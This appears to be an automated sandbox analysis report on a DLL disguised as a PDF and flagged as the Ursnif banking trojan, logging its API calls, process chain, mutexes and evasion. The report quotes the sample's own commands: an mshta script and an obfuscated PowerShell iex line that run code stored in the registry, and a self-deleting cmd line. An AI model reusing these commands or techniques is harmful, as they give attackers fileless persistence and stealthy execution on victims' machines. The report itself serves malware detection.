Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008F00DC RtlInitializeCriticalSection,RtlInitializeCriticalSection,memset,RtlInitializeCriticalSection,CreateMutexA,GetLastError,GetLastError,CloseHandle,GetUserNameA,GetUserNameA,RtlAllocateHeap,GetUserNameA,NtQueryInformationProcess,OpenProcess,GetLastError,CloseHandle,GetShellWindow,GetWindowThreadProcessId,memcpy,CreateEventA,CreateEventA,RtlAllocateHeap,OpenEventA,CreateEventA,GetLastError,LoadLibraryA,SetEvent,RtlAllocateHeap,wsprintfA, 4_2_008F00DC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008FA806 NtWow64ReadVirtualMemory64,GetProcAddress,NtWow64ReadVirtualMemory64, 4_2_008FA806
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008F61AE GetProcAddress,NtWow64QueryInformationProcess64,StrRChrA, 4_2_008F61AE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008E710A GetProcAddress,NtCreateSection,memset, 4_2_008E710A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008F7950 NtAllocateVirtualMemory,NtAllocateVirtualMemory,RtlNtStatusToDosError,SetLastError, 4_2_008F7950
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008F5312 NtWriteVirtualMemory,VirtualProtectEx,NtWriteVirtualMemory,RtlNtStatusToDosError,SetLastError, 4_2_008F5312
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008F2331 GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread, 4_2_008F2331
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008E74AE NtQueryInformationProcess, 4_2_008E74AE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008EC431 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 4_2_008EC431
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008F6DE0 memcpy,memcpy,memcpy,NtUnmapViewOfSection,NtClose,memset, 4_2_008F6DE0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008FBE80 NtMapViewOfSection, 4_2_008FBE80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008F0782 memset,NtWow64QueryInformationProcess64,GetProcAddress,NtWow64QueryInformationProcess64, 4_2_008F0782
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008E10C7 OpenProcess,GetLastError,GetProcAddress,NtSetInformationProcess,RtlNtStatusToDosError,GetProcAddress,GetProcAddress,TerminateThread,ResumeThread,CloseHandle,GetLastError,CloseHandle, 4_2_008E10C7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008F3829 NtQuerySystemInformation,RtlNtStatusToDosError, 4_2_008F3829
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008FEAC5 memset,memcpy,NtSetContextThread,RtlNtStatusToDosError,GetLastError, 4_2_008FEAC5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008F5220 NtReadVirtualMemory,RtlNtStatusToDosError,SetLastError, 4_2_008F5220
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008E64C4 memset,NtQueryInformationProcess, 4_2_008E64C4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008E36BB NtGetContextThread,RtlNtStatusToDosError, 4_2_008E36BB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008EB7D5 NtQueryInformationThread,GetLastError,RtlNtStatusToDosError, 4_2_008EB7D5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008ED77A NtQueryKey,NtQueryKey,lstrlenW,NtQueryKey,lstrcpyW, 4_2_008ED77A
Sample file is different than original file name gathered from version info
Source: 626a97fea05c8.pdf.dll Binary or memory string: OriginalFilenamemyfile.exe$ vs 626a97fea05c8.pdf.dll
Source: 626a97fea05c8.pdf.dll Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20220428 Jump to behavior
Source: classification engine Classification label: mal100.bank.troj.evad.winDLL@24/19@0/1
Source: C:\Windows\System32\mshta.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\626a97fea05c8.pdf.dll"
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\626a97fea05c8.pdf.dll",#1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\626a97fea05c8.pdf.dll",#1
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Dgvy='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Dgvy).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jehbycm -value gp; new-alias -name tyfittgwsr -value iex; tyfittgwsr ([System.Text.Encoding]::ASCII.GetString((jehbycm "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pyir2nwc\pyir2nwc.cmdline
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4ECA.tmp" "c:\Users\user\AppData\Local\Temp\pyir2nwc\CSC3492E89F885A4D28ABE1C8363667B7D.TMP"
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vx43imot\vx43imot.cmdline
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6B2B.tmp" "c:\Users\user\AppData\Local\Temp\vx43imot\CSCE0D7D73128344F6AB96E56EC2E032.TMP"
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\626a97fea05c8.pdf.dll
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\626a97fea05c8.pdf.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\626a97fea05c8.pdf.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jehbycm -value gp; new-alias -name tyfittgwsr -value iex; tyfittgwsr ([System.Text.Encoding]::ASCII.GetString((jehbycm "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pyir2nwc\pyir2nwc.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vx43imot\vx43imot.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4ECA.tmp" "c:\Users\user\AppData\Local\Temp\pyir2nwc\CSC3492E89F885A4D28ABE1C8363667B7D.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6B2B.tmp" "c:\Users\user\AppData\Local\Temp\vx43imot\CSCE0D7D73128344F6AB96E56EC2E032.TMP" Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\626a97fea05c8.pdf.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fbj0ibhp.0cz.ps1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00EF68BD CreateToolhelp32Snapshot,Process32First,Process32Next,FindCloseChangeNotification, 4_2_00EF68BD
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\626a97fea05c8.pdf.dll",#1
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6008:120:WilError_01
Source: C:\Windows\System32\control.exe Mutant created: \Sessions\1\BaseNamedObjects\{A446E4F3-B3E1-76BB-5D18-970AE1CCBBDE}
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1300:120:WilError_01
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\{50416995-6F24-0207-7984-1356BDF8F7EA}
Source: C:\Windows\SysWOW64\rundll32.exe Mutant created: \Sessions\1\BaseNamedObjects\{F059674E-8F24-A2C8-9924-33F6DD98178A}
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: 626a97fea05c8.pdf.dll Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: ntdll.pdb source: rundll32.exe, 00000004.00000003.534897078.0000000005CC0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.540095400.0000000005D70000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: d:\in\the\town\where\ahung.pdb source: 626a97fea05c8.pdf.dll
Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000004.00000003.534897078.0000000005CC0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.540095400.0000000005D70000.00000004.00001000.00020000.00000000.sdmp
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00EF7EA0 push ecx; ret 4_2_00EF7EA9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00EF828B push ecx; ret 4_2_00EF829B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_009038A0 push ecx; ret 4_2_009038A9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008E3495 push ecx; mov dword ptr [esp], 00000002h 4_2_008E3496
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00903D9F push ecx; ret 4_2_00903DAF
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008EEC00 RegOpenKeyA,LoadLibraryA,GetProcAddress,GetLastError,FreeLibrary,GetLastError,RegCloseKey, 4_2_008EEC00
Compiles C# or VB.Net code
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pyir2nwc\pyir2nwc.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vx43imot\vx43imot.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pyir2nwc\pyir2nwc.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vx43imot\vx43imot.cmdline Jump to behavior
PE file contains an invalid checksum
Source: vx43imot.dll.24.dr Static PE information: real checksum: 0x0 should be: 0x601a
Source: pyir2nwc.dll.20.dr Static PE information: real checksum: 0x0 should be: 0x4f4e
Source: 626a97fea05c8.pdf.dll Static PE information: real checksum: 0x79835 should be: 0xa2cb3
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\pyir2nwc\pyir2nwc.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\vx43imot\vx43imot.dll Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Yara detected Ursnif
Source: Yara match File source: 00000004.00000003.424373972.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424240322.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.530255853.0000000005CA8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.475301685.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000003.571518194.00000182D98EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424606218.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000003.545160730.00000267B3B1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.472906954.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000003.545084241.00000267B3B1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424163423.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424658030.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424644302.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424536633.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.476686328.0000000004CCC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424457867.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 3340, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6636, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 5008, type: MEMORYSTR
Source: Yara match File source: 4.2.rundll32.exe.ef0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.48e94a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.48e94a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4dca4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4dca4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4e76b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4e494a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.601015727.0000000004B4F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000000.543939686.00000000009F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.599055996.00000000048E9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000000.542346452.00000000009F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.599465657.00000000008E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.475223060.0000000004DCA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000000.544562349.00000000009F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.475254135.0000000004E49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Self deletion via cmd delete
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\626a97fea05c8.pdf.dll
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\626a97fea05c8.pdf.dll Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\SysWOW64\rundll32.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
